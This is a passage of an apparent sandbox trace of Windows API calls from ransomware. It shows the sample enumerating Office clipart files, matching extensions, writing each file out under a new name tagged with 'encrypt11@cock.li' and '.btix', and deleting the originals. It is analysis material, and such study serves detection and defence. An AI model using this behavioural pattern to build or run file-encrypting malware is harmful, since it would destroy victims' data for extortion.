hFile=0x320, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0051.581] SetEndOfFile (hFile=0x320) returned 1 [0051.581] CloseHandle (hObject=0x320) returned 1 [0051.581] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.581] SetEndOfFile (hFile=0x398) returned 1 [0051.582] CloseHandle (hObject=0x398) returned 1 [0051.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0051.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0051.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0051.583] lstrlenW (lpString=".doc") returned 4 [0051.583] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.583] lstrlenW (lpString=".docx") returned 5 [0051.583] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.583] lstrlenW (lpString=".pdf") returned 4 [0051.583] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.583] lstrlenW (lpString=".xls") returned 4 [0051.583] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.583] lstrlenW (lpString=".xlsx") returned 5 [0051.583] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.583] lstrlenW (lpString=".ppt") returned 4 [0051.583] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0051.583] lstrlenW (lpString=".zip") returned 4 [0051.583] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.583] lstrlenW (lpString=".rar") returned 4 [0051.583] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.583] lstrlenW (lpString=".bz2") returned 4 [0051.583] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.583] lstrlenW (lpString=".7z") returned 3 [0051.583] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0051.583] lstrlenW (lpString=".dbf") returned 4 [0051.583] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0051.584] lstrlenW (lpString=".1cd") returned 4 [0051.584] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0051.584] lstrlenW (lpString=".jpg") returned 4 [0051.584] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0051.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0051.584] lstrlenW (lpString=".doc") returned 4 [0051.584] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.584] lstrlenW (lpString=".docx") returned 5 [0051.584] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.584] lstrlenW (lpString=".pdf") returned 4 [0051.584] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.584] lstrlenW (lpString=".xls") returned 4 [0051.584] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.584] lstrlenW (lpString=".xlsx") returned 5 [0051.584] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.584] lstrlenW (lpString=".ppt") returned 4 [0051.584] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0051.584] lstrlenW (lpString=".zip") returned 4 [0051.584] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.584] lstrlenW (lpString=".rar") returned 4 [0051.584] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.584] lstrlenW (lpString=".bz2") returned 4 [0051.584] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.584] lstrlenW (lpString=".7z") returned 3 [0051.584] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0051.585] lstrlenW (lpString=".dbf") returned 4 [0051.585] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0051.585] lstrlenW (lpString=".1cd") returned 4 [0051.585] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0051.585] lstrlenW (lpString=".jpg") returned 4 [0051.585] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.585] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.585] lstrlenW (lpString="AG00163_.GIF") returned 12 [0051.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0051.585] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=6984) returned 1 [0051.585] CloseHandle (hObject=0x398) returned 1 [0051.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 0x220 [0051.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0051.586] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.586] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0051.586] GetLastError () returned 0x0 [0051.586] ReadFile (in: hFile=0x398, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x1b48, lpOverlapped=0x0) returned 1 [0051.683] WriteFile (in: hFile=0x320, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x1b50, lpOverlapped=0x0) returned 1 [0051.684] ReadFile (in: hFile=0x398, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.684] WriteFile (in: hFile=0x320, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0051.684] SetEndOfFile (hFile=0x320) returned 1 [0051.684] CloseHandle (hObject=0x320) returned 1 [0051.685] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.685] SetEndOfFile (hFile=0x398) returned 1 [0051.686] CloseHandle (hObject=0x398) returned 1 [0051.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0051.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0051.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0051.692] lstrlenW (lpString=".doc") returned 4 [0051.692] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.692] lstrlenW (lpString=".docx") returned 5 [0051.692] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.692] lstrlenW (lpString=".pdf") returned 4 [0051.692] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.692] lstrlenW (lpString=".xls") returned 4 [0051.692] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.692] lstrlenW (lpString=".xlsx") returned 5 [0051.692] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.692] lstrlenW (lpString=".ppt") returned 4 [0051.692] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0051.692] lstrlenW (lpString=".zip") returned 4 [0051.692] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.692] lstrlenW (lpString=".rar") returned 4 [0051.692] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.692] lstrlenW (lpString=".bz2") returned 4 [0051.692] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.692] lstrlenW (lpString=".7z") returned 3 [0051.692] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0051.692] lstrlenW (lpString=".dbf") returned 4 [0051.692] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0051.692] lstrlenW (lpString=".1cd") returned 4 [0051.692] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0051.692] lstrlenW (lpString=".jpg") returned 4 [0051.692] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0051.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0051.693] lstrlenW (lpString=".doc") returned 4 [0051.693] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.693] lstrlenW (lpString=".docx") returned 5 [0051.693] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.693] lstrlenW (lpString=".pdf") returned 4 [0051.693] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.693] lstrlenW (lpString=".xls") returned 4 [0051.693] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.693] lstrlenW (lpString=".xlsx") returned 5 [0051.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.693] lstrlenW (lpString=".ppt") returned 4 [0051.693] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0051.693] lstrlenW (lpString=".zip") returned 4 [0051.693] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.693] lstrlenW (lpString=".rar") returned 4 [0051.693] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.693] lstrlenW (lpString=".bz2") returned 4 [0051.693] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.693] lstrlenW (lpString=".7z") returned 3 [0051.693] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0051.693] lstrlenW (lpString=".dbf") returned 4 [0051.693] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0051.693] lstrlenW (lpString=".1cd") returned 4 [0051.693] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0051.693] lstrlenW (lpString=".jpg") returned 4 [0051.693] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.694] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.694] lstrlenW (lpString="AG00170_.GIF") returned 12 [0051.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.701] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=9248) returned 1 [0051.701] CloseHandle (hObject=0x388) returned 1 [0051.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 0x220 [0051.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.702] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.702] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0051.709] GetLastError () returned 0x0 [0051.709] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x2420, lpOverlapped=0x0) returned 1 [0051.755] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x2430, lpOverlapped=0x0) returned 1 [0051.756] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.756] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0051.756] SetEndOfFile (hFile=0x350) returned 1 [0051.774] CloseHandle (hObject=0x350) returned 1 [0051.775] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.775] SetEndOfFile (hFile=0x388) returned 1 [0051.776] CloseHandle (hObject=0x388) returned 1 [0051.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0051.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0051.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0051.777] lstrlenW (lpString=".doc") returned 4 [0051.777] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.777] lstrlenW (lpString=".docx") returned 5 [0051.777] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.777] lstrlenW (lpString=".pdf") returned 4 [0051.777] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.777] lstrlenW (lpString=".xls") returned 4 [0051.777] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.777] lstrlenW (lpString=".xlsx") returned 5 [0051.777] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.777] lstrlenW (lpString=".ppt") returned 4 [0051.777] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0051.777] lstrlenW (lpString=".zip") returned 4 [0051.777] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.777] lstrlenW (lpString=".rar") returned 4 [0051.777] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.777] lstrlenW (lpString=".bz2") returned 4 [0051.777] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.777] lstrlenW (lpString=".7z") returned 3 [0051.777] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0051.777] lstrlenW (lpString=".dbf") returned 4 [0051.777] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0051.778] lstrlenW (lpString=".1cd") returned 4 [0051.778] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0051.778] lstrlenW (lpString=".jpg") returned 4 [0051.778] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0051.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0051.778] lstrlenW (lpString=".doc") returned 4 [0051.778] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.778] lstrlenW (lpString=".docx") returned 5 [0051.778] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.778] lstrlenW (lpString=".pdf") returned 4 [0051.778] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.778] lstrlenW (lpString=".xls") returned 4 [0051.778] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.778] lstrlenW (lpString=".xlsx") returned 5 [0051.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.778] lstrlenW (lpString=".ppt") returned 4 [0051.778] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0051.778] lstrlenW (lpString=".zip") returned 4 [0051.778] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.778] lstrlenW (lpString=".rar") returned 4 [0051.778] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.778] lstrlenW (lpString=".bz2") returned 4 [0051.778] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.778] lstrlenW (lpString=".7z") returned 3 [0051.778] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0051.778] lstrlenW (lpString=".dbf") returned 4 [0051.778] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0051.778] lstrlenW (lpString=".1cd") returned 4 [0051.778] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0051.779] lstrlenW (lpString=".jpg") returned 4 [0051.779] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.779] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.779] lstrlenW (lpString="AG00175_.GIF") returned 12 [0051.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.782] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=3378) returned 1 [0051.782] CloseHandle (hObject=0x388) returned 1 [0051.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0x220 [0051.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.784] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.784] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0051.787] GetLastError () returned 0x0 [0051.787] ReadFile (in: hFile=0x31c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0xd32, lpOverlapped=0x0) returned 1 [0051.855] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xd40, lpOverlapped=0x0) returned 1 [0051.856] ReadFile (in: hFile=0x31c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.856] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0051.856] SetEndOfFile (hFile=0x350) returned 1 [0051.895] CloseHandle (hObject=0x350) returned 1 [0051.896] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.896] SetEndOfFile (hFile=0x31c) returned 1 [0051.897] CloseHandle (hObject=0x31c) returned 1 